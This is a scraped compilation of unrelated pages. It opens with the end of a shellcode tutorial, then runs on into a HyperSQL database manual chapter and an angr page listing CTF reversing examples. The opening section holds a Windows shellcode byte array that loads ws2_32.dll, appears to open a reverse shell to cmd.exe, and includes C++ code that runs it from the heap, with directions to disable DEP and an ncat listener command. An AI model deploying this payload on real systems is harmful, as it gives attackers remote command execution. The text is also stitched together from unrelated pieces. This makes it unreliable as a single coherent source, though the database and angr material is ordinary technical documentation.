"\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
"\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
"\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"
"\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
"\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
"\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
"\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
"\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
"\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"
"\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
"\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
"\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
"\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
"\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"
"\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"
"\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"
"\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"
"\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"
"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"
"\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"
"\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"
"\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"
"\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"
"\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"
"\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";
static\_assert\(sizeof\(shellcode\) > 4, "Use 'char shellcode\[\] = ...' \(not
'char \*shellcode = ...'\)"\); // We copy the shellcode to the heap so that
it's in writeable memory and can modify itself. char \*ptr = new
char\[sizeof\(shellcode\)\]; memcpy\(ptr, shellcode, sizeof\(shellcode\)\);
\(\(void\(\*\)\(\)\)ptr\)\(\);\}  
---|---  
To make this code work, you need to disable DEP \(Data Execution Prevention\)
by going to Project→<solution name> Properties and then, under Configuration
Properties, Linker and Advanced, set Data Execution Prevention \(DEP\) to No
\(/NXCOMPAT:NO\). This is needed because our shellcode will be executed from
the heap which wouldn’t be executable with DEP activated.

static\_assert was introduced with C++11 \(so VS 2013 CTP is required\) and
here is used to check that you use

1| char shellcode\[\] = "..."  
---|---  
instead of

1| char \*shellcode = "..."  
---|---  
In the first case, sizeof\(shellcode\) is the effective length of the
shellcode and the shellcode is copied onto the stack. In the second case,
sizeof\(shellcode\) is just the size of the pointer \(i.e. 4\) and the pointer
points to the shellcode in the .rdata section.

To test the shellcode, just open a cmd shell and enter

[code]

    ncat -lvp 123
[/code]

Then, run the shellcode and see if it works.

The following two tabs change content below.

  * Bio
  * Latest Posts

<img src='img/Temp2_7474.png' width='80' height='80' />

#### Massimiliano Tomassoli

Computer scientist, software developer, reverse engineer and student of
computer security \(+ piano player & music composer\)

### Leave a Reply

14 Comments on "Shellcode"

Notify of

<img src='img/Temp2_7474.png' width='48' height='48' />

* * *
Sort by: newest | oldest | most voted
<img src='img/Temp2_7474.png' width='96' height='96' />

Guest

Anonymous

<img src='img/icon-link.gif' width='10' height='10' />

1 year 3 months ago

when call the shellcode in new program,it correpted. becouse your python code
only get the function “main” as the shellcode ,but ,there are other
sections,such as getProcAddrByHash ,they are not in “main” function,so ,your
shell code is not long enougth.

0

<img src='img/Temp2_7473.png' width='16' height='16' /> | <img src='img/Temp2_7472.png' width='16' height='16' /> Reply \- Share
<img src='img/Temp2_7474.png' width='96' height='96' />

Guest

Matthew

<img src='img/icon-link.gif' width='10' height='10' />

1 year 7 months ago

Hello friends  
After carefully following all your instructions on how to set up the compiler
and linker I receive the error:  
LNK1104: cannot open file function\_order.txt  
I have gone onto various sites on the itnernet to research this problem
however I have no such luck finding a solution.  
I am on windows 7 Ultimate SP1 running visual studio 2013.  
Any help would be appreciated.

0

<img src='img/Temp2_7473.png' width='16' height='16' /> | <img src='img/Temp2_7472.png' width='16' height='16' /> Reply \- Share
<img src='img/Temp2_7474.png' width='96' height='96' />

Guest

ZION

<img src='img/icon-link.gif' width='10' height='10' />

1 year 8 months ago

Hello <img src='img/9711_1f642.svg' width='16' height='16' alt='🙂' />  
Good morning, the following shellcode.cpp will not compile I checked if I set
the project properties correct and I did, i’m assuming it’s an issue with the
win-stock library ?

0

<img src='img/Temp2_7473.png' width='16' height='16' /> | <img src='img/Temp2_7472.png' width='16' height='16' /> Reply \- Share
<img src='img/Temp2_7474.png' width='96' height='96' />

Guest

Begineer

<img src='img/icon-link.gif' width='10' height='10' />

1 year 9 months ago

Hello：）  
Can you write x86\_64 version，I dont know how to rewrite the python script.  
Or can you give me some hint  
THANK YOU

0

<img src='img/Temp2_7473.png' width='16' height='16' /> | <img src='img/Temp2_7472.png' width='16' height='16' /> Reply \- Share Hide Replies ∧
<img src='img/Temp2_7474.png' width='96' height='96' />

Author

Massimiliano Tomassoli

<img src='img/icon-link.gif' width='10' height='10' />

1 year 9 months ago

Hi, I wish I had the time to do it, but I don’t. I don’t know exactly what
needs to be changed. I’d need to do a bit of reverse engineering using
something like HIEW.

0

<img src='img/Temp2_7473.png' width='16' height='16' /> | <img src='img/Temp2_7472.png' width='16' height='16' /> Reply \- Share
<img src='img/Temp2_7474.png' width='96' height='96' />

Guest

n0b0dy

<img src='img/icon-link.gif' width='10' height='10' />

1 year 9 months ago

Hi I’m having a problem when I use the python script:

Extracting shellcode length from “mapfile”…  
shellcode length: 665  
Extracting shellcode from “shellcode.exe” and analyzing relocations…  
\[\!\] get\_shellcode: shellcode references a section other than .rdata

can you help?

0

<img src='img/Temp2_7473.png' width='16' height='16' /> | <img src='img/Temp2_7472.png' width='16' height='16' /> Reply \- Share Hide Replies ∧
<img src='img/Temp2_7474.png' width='96' height='96' />

Author

Massimiliano Tomassoli

<img src='img/icon-link.gif' width='10' height='10' />

1 year 9 months ago

Hi, your shellcode.exe contains relocations for data in a section other than
.rdata. Are you using global variables?

0

<img src='img/Temp2_7473.png' width='16' height='16' /> | <img src='img/Temp2_7472.png' width='16' height='16' /> Reply \- Share Hide Replies ∧
<img src='img/Temp2_7474.png' width='96' height='96' />

Guest

n0b0dy

<img src='img/icon-link.gif' width='10' height='10' />

1 year 9 months ago

I tried on another computer and it gave me no error, I don’t know what was up,
I copy pasted your code

0

<img src='img/Temp2_7473.png' width='16' height='16' /> | <img src='img/Temp2_7472.png' width='16' height='16' /> Reply \- Share Hide Replies ∧
<img src='img/Temp2_7474.png' width='96' height='96' />

Author

Massimiliano Tomassoli

<img src='img/icon-link.gif' width='10' height='10' />

1 year 9 months ago

Maybe different versions/builds of Visual Studio?

0

<img src='img/Temp2_7473.png' width='16' height='16' /> | <img src='img/Temp2_7472.png' width='16' height='16' /> Reply \- Share
<img src='img/Temp2_7471.png' width='12' height='12' alt='wpDiscuz' />

  

# Database Access with Jython, Hibernate and SQLAlchemy

**Created:**| _5/4/2010 10:51:23 PM_  
---|---  
**Updated:**| _5/4/2010 10:52:59 PM_  
**Author:**| __  
**Tags:**| _python web Java programming Django Hibernate_  
  
<img src='img/Temp2_1967' />

# Chapter 1. Running and Using HyperSQL

**Created:**| _5/29/2010 11:25:17 AM_  
---|---  
**Updated:**| _5/29/2010 11:26:55 AM_  
**Author:**| _wishi_  
**Tags:**| _Databases Java programming_  
  

<img src='img/prev.png' alt='Prev' />  | Chapter 1. Running and Using HyperSQL |  <img src='img/next.png' alt='Next' />  
---|---|---  
Preface  | <img src='img/home.png' alt='Home' />|  Chapter 2. SQL Language  
* * *
## Chapter 1. Running and Using HyperSQL

### Fred Toussi

The HSQL Development Group  

$Revision: 3578 $

Copyright 2002-2010 Fred Toussi. Permission is granted to distribute this
document without any alteration under the terms of the HSQLDB license.
Additional permission is granted to the HSQL Development Group to distribute
this document with or without alterations under the terms of the HSQLDB
license.

$Date: 2010-05-07 16:43:32 -0400 \(Fri, 07 May 2010\) $

**Table of Contents**

The HSQLDB Jar

Running Database Access Tools

A HyperSQL Database

In-Process Access to Database Catalogs

Listener / Server Modes

    
HyperSQL HSQL Server

HyperSQL HTTP Server

HyperSQL HTTP Servlet

Connecting to a Database Server

Security Considerations

Using Multiple Databases

Accessing the Data

Closing the Database

Creating a New Database

## The HSQLDB Jar

The HSQLDB jar package is located in the /lib directory of the ZIP package and
contains several components and programs.

**Components of the Hsqldb jar package**

  * HyperSQL RDBMS Engine \(HSQLDB\)
  * HyperSQL JDBC Driver
  * Database Manager \(GUI database access tool, with Swing and AWT versions\)
  * Sql Tool \(command line database access tool\)

The HyperSQL RDBMS and JDBC Driver provide the core functionality. An
additional jar contains Sql Tool \(command line database access tool\).
SqlTool and the DatabaseManagers are general-purpose database tools that can
be used with any database engine that has a JDBC driver.

## Running Database Access Tools

The tools are used for interactive user access to databases, including
creation of a database, inserting or modifying data, or querying the database.
All tools are run in the normal way for Java programs. In the following
example the Swing version of the Database Manager is executed. The
`hsqldb.jar` is located in the directory `../lib` relative to the current
directory.

[code]

    java -cp ../lib/hsqldb.jar org.hsqldb.util.DatabaseManagerSwing
    
[/code]

If `hsqldb.jar` is in the current directory, the command would change to:

[code]

    java -cp hsqldb.jar org.hsqldb.util.DatabaseManagerSwing
    
[/code]

**Main classes for the Hsqldb tools**

  * `org.hsqldb.util.DatabaseManager`
  * `org.hsqldb.util.DatabaseManagerSwing`

When a tool is up and running, you can connect to a database \(may be a new
database\) and use SQL commands to access and modify the data.

Tools can use command line arguments. You can add the command line argument
--help to get a list of available arguments for these tools.

## A HyperSQL Database

Each HyperSQL database is called a catalog. There are three types of catalog
depending on how the data is stored.

**Types of catalog data**

  * _mem:_ stored entirely in RAM - without any persistence beyond the JVM process's life
  * _file:_ stored in filesystem files
  * _res:_ stored in a Java resource, such as a Jar and always read-only

All-in-memory, _mem:_ catalogs can be used for test data or as sophisticated
caches for an application. These databases do not have any files.

A _file_ : catalog consists of between 2 to 5 files, all named the same but
with different extensions, located in the same directory. For example, the
database named "test" consists of the following files:

  * `test.properties`
  * `test.script`
  * `test.log`
  * `test.data`
  * `test.backup`
  * `test.lobs`

The properties file contains a few settings about the database. The script
file contains the definition of tables and other database objects, plus the
data for non-cached tables. The log file contains recent changes to the
database. The data file contains the data for cached tables and the backup
file is a compressed backup of the last known consistent state of the data
file. All these files are essential and should never be deleted. For some
catalogs, the `test.data` and `test.backup` files will not be present. In
addition to those files, a HyperSQL database may link to any formatted text
files, such as CSV lists, anywhere on the disk.

While the "test" catalog is open, a `test.log` file is used to write the
changes made to data. This file is removed at a normal SHUTDOWN. Otherwise
\(with abnormal shutdown\) this file is used at the next startup to redo the
changes. A `test.lck` file is also used to record the fact that the database
is open. This is deleted at a normal SHUTDOWN.

<img src='img/note.png' alt='[Note]' />| Note  
---|---  
When the engine closes the database at a shutdown, it creates temporary files
with the extension `.new` which it then renames to those listed above. In some
circumstances, a `test.data.old` is created and deleted afterwards. These
files should not be deleted by the user. At the time of the next startup, all
such files will be deleted by the database engine.  
A _res:_ catalog consists of the files for a small, read-only database that
can be stored inside a Java resource such as a ZIP or JAR archive and
distributed as part of a Java application program.

## In-Process Access to Database Catalogs

In general, JDBC is used for all access to databases. This is done by making a
connection to the database, then using various methods of the
`java.sql.Connection` object that is returned to access the data. Access to an
_in-process_ database is started from JDBC, with the database path specified
in the connection URL. For example, if the _file:_ database name is "testdb"
and its files are located in the same directory as where the command to run
your application was issued, the following code is used for the connection:

[code]

        Connection c = DriverManager.getConnection("jdbc:hsqldb:file:testdb", "SA", "");
    
[/code]

The database file path format can be specified using forward slashes in
Windows hosts as well as Linux hosts. So relative paths or paths that refer to
the same directory on the same drive can be identical. For example if your
database path in Linux is `/opt/db/testdb` and you create an identical
directory structure on the `C:` drive of a Windows host, you can use the same
URL in both Windows and Linux:

[code]

        Connection c = DriverManager.getConnection("jdbc:hsqldb:file:/opt/db/testdb", "SA", "");
    
[/code]

When using relative paths, these paths will be taken relative to the directory
in which the shell command to start the Java Virtual Machine was executed.
Refer to the Javadoc for `JDBCConnection` for more details.

Paths and database names for file databases are treated as case-sensitive when
the database is created or the first connection is made to the database. But
if a second connection is made to an open database, using a path and name that
differs only in case, then the connection is made to the existing open
database. This measure is necessary because in Windows the two paths are
equivalent.

A _mem:_ database is specified by the _mem:_ protocol. For _mem:_ databases,
the path is simply a name. Several _mem:_ databases can exist at the same time
and distinguished by their names. In the example below, the database is called
"mymemdb":

[code]

        Connection c = DriverManager.getConnection("jdbc:hsqldb:mem:mymemdb", "SA", "");
    
[/code]

A _res:_ database, is specified by the _res:_ protocol. As it is a Java
resource, the database path is a Java URL \(similar to the path to a class\).
In the example below, "resdb" is the root name of the database files, which
exists in the directory "org/my/path" within the classpath \(probably in a
Jar\). A Java resource is stored in a compressed format and is decompressed in
memory when it is used. For this reason, a _res:_ database should not contain
large amounts of data and is always read-only.

[code]

        Connection c = DriverManager.getConnection("jdbc:hsqldb:res:org.my.path.resdb", "SA", "");
    
[/code]

The first time _in-process_ connection is made to a database, some general
data structures are initialised and a few helper threads are started. After
this, creation of connections and calls to JDBC methods of the connections
execute as if they are part of the Java application that is making the calls.
When the SQL command "SHUTDOWN" is executed, the global structures and helper
threads for the database are destroyed.

Note that only one Java process at a time can make _in-process_ connections to
a given _file:_ database. However, if the _file:_ database has been made read-
only, or if connections are made to a _res:_ database, then it is possible to
make _in-process_ connections from multiple Java processes.

## Listener / Server Modes

For most applications, _in-process_ access is faster, as the data is not
converted and sent over the network. The main drawback is that it is not
possible by default to connect to the database from outside your application.
As a result you cannot check the contents of the database with external tools
such as Database Manager while your application is running.

Server modes provide the maximum accessibility. The database engine runs in a
JVM and opens one or more _in-process_ catalogs. It listens for connections
from programs on the same computer or other computers on the network. It
translates these connections into _in-process_ connections to the databases.

Several different programs can connect to the server and retrieve or update
information. Applications programs \(clients\) connect to the server using the
HyperSQL JDBC driver. In most server modes, the server can serve an unlimited
number of databases that are specified at the time of running the server, or
optionally, as a connection request is received.

A Sever mode is also the prefered mode of running the database during
development. It allows you to query the database from a separate database
access utility while your application is running.

There are three server modes, based on the protocol used for communications
between the client and server. They are briefly discussed below. More details
on servers is provided in a separate chapter.

### HyperSQL HSQL Server

This is the preferred way of running a database server and the fastest one. A
proprietary communications protocol is used for this mode. A command similar
to those used for running tools and described above is used for running the
server. The following example of the command for starting the server starts
the server with one \(default\) database with files named "mydb.\*" and the
public name of "xdb". The public name hides the file names from users.

[code]

        java -cp ../lib/hsqldb.jar org.hsqldb.server.Server --database.0 file:mydb --dbname.0 xdb
    
[/code]

The command line argument `--help` can be used to get a list of available
arguments.

### HyperSQL HTTP Server

This method of access is used when the computer hosting the database server is
restricted to the HTTP protocol. The only reason for using this method of
access is restrictions imposed by firewalls on the client or server machines
and it should not be used where there are no such restrictions. The HyperSQL
HTTP Server is a special web server that allows JDBC clients to connect via
HTTP. The server can also act as a small general-purpose web server for static
pages.

To run an HTTP server, replace the main class for the server in the example
command line above with the following:

[code]

        org.hsqldb.server.WebServer
    
[/code]

The command line argument `--help` can be used to get a list of available
arguments.

### HyperSQL HTTP Servlet

This method of access also uses the HTTP protocol. It is used when a separate
servlet engine \(or application server\) such as Tomcat or Resin provides
access to the database. The Servlet Mode cannot be started independently from
the servlet engine. The `Servlet` class, in the HSQLDB jar, should be
installed on the application server to provide the connection. The database is
specified using an application server property. Refer to the source file
`src/org/hsqldb/server/Servlet.java` to see the details.

Both HTTP Server and Servlet modes can only be accessed using the JDBC driver
at the client end. They do not provide a web front end to the database. The
Servlet mode can serve only a single database.

Please note that you do not normally use this mode if you are using the
database engine in an application server. In this situation, connections to a
catalog are usually made _in-process_ , or using a separate Server

### Connecting to a Database Server

When a HyperSQL server is running, client programs can connect to it using the
HSQLDB JDBC Driver contained in `hsqldb.jar`. Full information on how to
connect to a server is provided in the Java Documentation for `JDBCConnection`
\(located in the `/doc/apidocs` directory of HSQLDB distribution\). A common
example is connection to the default port \(9001\) used for the _hsql:_
protocol on the same machine:

**Example  1.1. Java code to connect to the local hsql Server**

[code]

        try {
            Class.forName("org.hsqldb.jdbc.JDBCDriver" );
        } catch (Exception e) {
            System.err.println("ERROR: failed to load HSQLDB JDBC driver.");
            e.printStackTrace();
            return;
        }
    
        Connection c = DriverManager.getConnection("jdbc:hsqldb:hsql://localhost/xdb", "SA", "");
    
[/code]

  

If the HyperSQL HTTP server is used, the protocol is _http:_ and the URL will
be different:

**Example  1.2. Java code to connect to the local http Server**

[code]

        Connection c = DriverManager.getConnection("jdbc:hsqldb:http://localhost/xdb", "SA", "");
    
[/code]

  

Note in the above connection URL, there is no mention of the database file, as
this was specified when running the server. Instead, the public name defined
for dbname.0 is used. Also, see the HyperSQL Network Listeners chapter for the
connection URL when there is more than one database per server instance.

### Security Considerations

When a HyperSQL server is run, network access should be adequately protected.
Source IP addresses may be restricted by use of our Access Control List
feature, network filtering software, firewall software, or standalone
firewalls. Only secure passwords should be used-- most importantly, the
password for the default system user should be changed from the default empty
string. If you are purposefully providing data to the public, then the wide-
open public network connection should be used exclusively to access the public
data via read-only accounts. \(i.e., neither secure data nor privileged
accounts should use this connection\). These considerations also apply to
HyperSQL servers run with the HTTP protocol.

HyperSQL provides two optional security mechanisms. The encrypted SSL
protocol, and Access Control Lists. Both mechanisms can be specified when
running the Server or WebServer. From the client, the URL's co connect to an
SSL server is slightly different:

**Example  1.3. Java code to connect to the local secure SSL hsql and http
Servers**

[code]

        Connection c = DriverManager.getConnection("jdbc:hsqldb:hsqls://localhost/xdb", "SA", "");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost/xdb", "SA", "");
    
[/code]

  
The security features are discussed in detail in the listeners chapter.

### Using Multiple Databases

A server can provide connections to more than one database. In the examples
above, more than one set of database names can be specified on the command
line. It is also possible to specify all the databases in a `.properties`
file, instead of the command line. These capabilities are covered in the
HyperSQL Network Listeners chapter

## Accessing the Data

As shown so far, a `java.sql.Connection` object is always used to access the
database. But the speed and performance depends on the type of connection.

Establishing a connection and closing it has some overheads, therefore it is
not good practice to create a new connection to perform a small number of
operations. A connection should be reused as much as possible and closed only
when it is not going to be used again for a long while.

Reuse is more important for server connections. A server connection uses a TCP
port for communications. Each time a connection is made, a port is allocated
by the operating system and deallocated after the connection is closed. If
many connections are made from a single client, the operating system may not
be able to keep up and may refuse the connection attempt.

A `java.sql.Connection` object has some methods that return further
`java.sql.*` objects. All these objects belong to the connection that returned
them and are closed when the connection is closed. These objects can be
reused, but if they are not needed after performing the operations, they
should be closed.

A `java.sql.DatabaseMetaData` object is used to get metadata for the database.

A `java.sql.Statement` object is used to execute queries and data change
statements. A `java.sql.Statement` can be reused to execute a different
statement each time.

A `java.sql.PreparedStatement` object is used to execute a single statement
repeatedly. The SQL statement usually contains parameters, which can be set to
new values before each reuse. When a `java.sql.PreparedStatement` object is
created, the engine keeps the compiled SQL statement for reuse, until the
`java.sql.PreparedStatement` object is closed. As a result, repeated use of a
`java.sql.PreparedStatement` is much faster than using a `java.sql.Statement`
object.

A `java.sql.CallableStatement` object is used to execute an SQL CALL
statement. The SQL CALL statement may contain parameters, which should be set
to new values before each reuse. Similar to `java.sql.PreparedStatement`, the
engine keeps the compiled SQL statement for reuse, until the
`java.sql.CallableStatement` object is closed.

A `java.sql.Connection` object also has some methods for transaction control.

The `commit()` method performs a `COMMIT` while the `rollback()` method
performs a `ROLLBACK` SQL statement.

The `setSavepoint(String name)` method performs a `SAVEPOINT <name>` SQL
statement and returns a `java.sql.Savepoint` object. The `rollback(Savepoint
name)` method performs a `ROLLBACK TO SAVEPOINT <name>` SQL statement.

The Javadoc for `JDBCConnection`, `JDBCDriver`, `JDBCDatabaseMetadata`
`JDBCResultSet`, `JDBCStatement`, `JDBCPreparedStatement` list all the
supported JDBC methods together with information that is specific to HSQLDB.

## Closing the Database

All databases running in different modes can be closed with the SHUTDOWN
command, issued as an SQL statement.

When SHUTDOWN is issued, all active transactions are rolled back. The catalog
files are then saved in a form that can be opened quickly the next time the
catalog is opened.

A special form of closing the database is via the SHUTDOWN COMPACT command.
This command rewrites the `.data` file that contains the information stored in
CACHED tables and compacts it to its minimum size. This command should be
issued periodically, especially when lots of inserts, updates or deletes have
been performed on the cached tables. Changes to the structure of the database,
such as dropping or modifying populated CACHED tables or indexes also create
large amounts of unused file space that can be reclaimed using this command.

Databases are not closed when the last connection to the database is
explicitly closed via JDBC. A connection property, `shutdown=true`, can be
specified on the first connection to the database \(the connection that opens
the database\) to force a shutdown when the last connection closes.

**Example  1.4. specifying a connection property to shutdown the database when
the last connection is closed**

[code]

        Connection c = DriverManager.getConnection(
                "jdbc:hsqldb:file:/opt/db/testdb;shutdown=true", "SA", "");
    
[/code]

  
This feature is useful for running tests, where it may not be practical to
shutdown the database after each test. But it is not recommended for
application programs.

## Creating a New Database

When a server instance is started, or when a connection is made to an _in-
process_ database, a new, empty database is created if no database exists at
the given path.

With HyperSQL 2.0 the username and password that are specified for the
connection are used for the new database. Both the username and password are
case-sensitive. \(The exception is the default SA user, which is not case-
sensitive\). If no username or password is specified, the default SA user and
an empty password are used.

This feature has a side effect that can confuse new users. If a mistake is
made in specifying the path for connecting to an existing database, a
connection is nevertheless established to a new database. For troubleshooting
purposes, you can specify a connection property ifexists=`true` to allow
connection to an existing database only and avoid creating a new database. In
this case, if the database does not exist, the `getConnection()` method will
throw an exception.

**Example  1.5. specifying a connection property to disallow creating a new
database**

[code]

        Connection c = DriverManager.getConnection(
                "jdbc:hsqldb:file:/opt/db/testdb;ifexists=true", "SA", "");
    
[/code]

  

A database has many optional properties, described in the Deplyment chapter.
You can specifiy most of these properties on the URL or in the connection
properties for the first connection that creates the database. See the
Database Properties chapter.

* * *
$Revision: 3533 $

* * *
<img src='img/prev.png' alt='Prev' />  |   |  <img src='img/next.png' alt='Next' />  
---|---|---  
Preface  | <img src='img/home.png' alt='Home' />|  Chapter 2. SQL Language

# angr/angr-doc

**Created:**| _8/15/2016 1:49:25 PM_  
---|---  
**Updated:**| _8/15/2016 1:49:25 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# angr examples

To help you get started with angr, we've created several examples. These
mostly stem from CTF problems solved with angr by Shellphish. Enjoy\!

## Introduction example - Fauxware

This is a basic script that explains how to use angr to symbolically execute a
program and produce concrete input satisfying certain conditions.

Binary, source, and script are found here.

## CTF Problems

### ReverseMe example: SecurityFest 2016 - fairlight

Script author: chuckleberryfinn \(github: @chuckleberryfinn\)

Script runtime: ~20 seconds

A simple reverse me that takes a key as a command line argument and checks it
against 14 checks. Possible to solve the challenge using angr without
reversing any of the checks.

Here is the binary and the script

### ReverseMe example: DEFCON Quals 2016 - baby-re

  * Script 0
author: David Manouchehri \(github: @Manouchehri\)

Script runtime: 8 minutes

  * Script 1
author: Stanislas Lejay \(github: @P1kachu\)

Script runtime: 11 sec

Here is the binary and the scripts:

  * script0
  * script1

### ReverseMe example: Google CTF - Unbreakable Enterprise Product Activation
\(150 points\)

Script 0 author: David Manouchehri \(github: @Manouchehri\)

Script runtime: 4.5 sec

Script 1 author: Adam Van Prooyen \(github: @docileninja\)

Script runtime: 6.7 sec

A Linux binary that takes a key as a command line argument and check it
against a series of constraints.

Challenge Description:

> We need help activating this product -- we've lost our license key :\(
> You're our only hope\!
Here are the binary and scripts: script 0, script\_1

### ReverseMe example: WhiteHat Grant Prix Global Challenge 2015 - Re400

Author: Fish Wang \(github: @ltfish\)

Script runtime: 5.5 sec

A Windows binary that takes a flag as argument, and tells you if the flag is
correct or not.

"I have to patch out some checks that are difficult for angr to solve \(e.g.,
it uses some bytes of the flag to decrypt some data, and see if those data are
legit Windows APIs\). Other than that, angr works really well for solving this
challenge."

The binary and the script.

### ReverseMe example: EKOPARTY CTF 2015 - rev 100

Author: Fish Wang \(github: @ltfish\)

Script runtime: 5.5 sec

This is a painful challenge to solve with angr. I should have done things in a
smarter way.

Here is the binary and the script.

### ReverseMe example: ASIS CTF Finals 2015 - fake

Author: Fish Wang \(github: @ltfish\)

Script runtime: 1 min 57 sec

The solution is pretty straight-forward.

The binary and the script.

### ReverseMe example: ASIS CTF Finals 2015 - license

Author: Fish Wang \(github: @ltfish\)

Script runtime: 3.6 sec

This is a good example that showcases the following:

  * Create a custom file, and load it during symbolic execution.
  * Create an inline call to SimProcedure ` strlen `, and use it to determine the length of a string in memory - even if the string may not be null-terminated.
  * ` LAZY_SOLVES ` should be disabled sometimes to avoid creating too many paths.

Here are the binary and the script.

### ReverseMe example: Defcamp CTF Qualification 2015 - Reversing 100

Author: Fish Wang \(github: @ltfish\)

angr solves this challenge with almost zero user-interference.

See the script and the binary.

### ReverseMe example: Defcamp CTF Qualification 2015 - Reversing 200

Author: Fish Wang \(github: @ltfish\)

angr solves this challenge with almost zero user-interference. Veritesting is
required to retrieve the flag promptly.

The script and the binary. It takes a few minutes to run on my laptop.

### ReverseMe example: MMA CTF 2015 - HowToUse

Author: Andrew Dutcher \(github: @rhelmot\)

We solved this simple reversing challenge with angr, since we were too lazy to
reverse it or run it in Windows. The resulting script shows how we grabbed the
flag out of the DLL.

### CrackMe example: MMA CTF 2015 - SimpleHash

Author: Chris Salls \(github: @salls\)

This crackme is 95% solveable with angr, but we did have to overcome some
difficulties. The script describes the difficulties that were encountered and
how we worked around them. The binary can be found here.

### ReverseMe example: FlareOn 2015 - Challenge 10

Author: Fish Wang \(github: @ltfish\)

angr acts as a binary loader and an emulator in solving this challenge. I
didn’t have to load the driver onto my Windows box.

The script demonstrates how to hook at arbitrary program points without
affecting the intended bytes to be executed \(a zero-length hook\). It also
shows how to read bytes out of memory and decode as a string.

By the way, here is the link to the intended solution from FireEye.

### ReverseMe example: FlareOn 2015 - Challenge 2

Author: Chris Salls \(github: @salls\)

This reversing challenge is simple to solve almost entirely with angr, and a
lot faster than trying to reverse the password checking function. The script
is here

### ReverseMe example: FlareOn 2015 - Challenge 5

Author: Adrian Tang \(github: @tangabc\)

Script runtime: 2 mins 10 secs

This is another reversing challenge from the FlareOn challenges.

"The challenge is designed to teach you about PCAP file parsing and traffic
decryption by reverse engineering an executable used to generate it. This is a
typical scenario in our malware analysis practice where we need to figure out
precisely what the malware was doing on the network"

For this challenge, the author used angr to represent the desired encoded
output as a series of constraints for the SAT solver to solve for the input.

For a detailed write-up please visit the author's post here and you can also
find the solution from the FireEye here

### ReverseMe example: 0ctf 2016 - momo

Author: Fish Wang \(github: @ltfish\), ocean \(github: @ocean1\)

This challenge is a movfuscated binary. To find the correct password after
exploring the binary with Qira it is possible to understand how to find the
places in the binary where every character is checked using capstone and using
angr to load the binary and brute-force the single characters of the flag. Be
aware that the script is really slow. Runtime: > 1 hour.

### ReverseMe example: 0ctf quals 2016 - trace

Author: WGH \(wgh@bushwhackers.ru\)

Script runtime: 1 min 50 secs \(CPython 2.7.10\), 1 min 12 secs \(PyPy 4.0.1\)

In this challenge we're given a text file with trace of a program execution.
The file has two columns, address and instruction executed. So we know all the
instructions being executed, and which branches were taken. But the initial
data is not known.

Reversing reveals that a buffer on the stack is initialized with known
constant string first, then an unknown string is appended to it \(the flag\),
and finally it's sorted with some variant of quicksort. And we need to find
the flag somehow.

angr easily solves this problem. We only have to direct it to the right
direction at every branch, and the solver finds the flag at a glance.

### CrackMe example: Layer7 CTF 2015 - Windows challenge OnlyOne

Author: Fish Wang \(github: @ltfish\)

We solved this crackme with angr’s help. \(Fish: This is my first time solving
a reversing challenge without understanding what’s going on.\) The challenge
binary is here, and the solving script here.

The solving script demonstrates the following:

  * How to load a Windows binary \(no difference than an ELF\).
  * How to use hook to replace arbitrary code in a loaded program.
  * How to use Explorer to perform a symbolic exploration \(although everyone else thinks PathGroup is the future\).
  * How to enable Veritesting, and why it is useful.

### CrackMe example: Whitehat CTF 2015 - Crypto 400

Author: Yan Shoshitaishvili \(github: @Zardus\)

We solved this crackme with angr's help. The resulting script will help you
understand how angr can be used for crackme assistance. You can find this
script here and the binary here.

### CrackMe example: CSAW CTF 2015 Quals - Reversing 500, "wyvern"

Author: Andrew Dutcher \(github: @rhelmot\)

angr can outright solve this challenge with very little assistance from the
user. The script to do so is here and the binary is here.

### CrackMe example: 9447 CTF 2015 - Reversing 330, "nobranch"

Author: Andrew Dutcher \(github: @rhelmot\)

angr cannot currently solve this problem natively, as the problem is too
complex for z3 to solve. Formatting the constraints to z3 a little differently
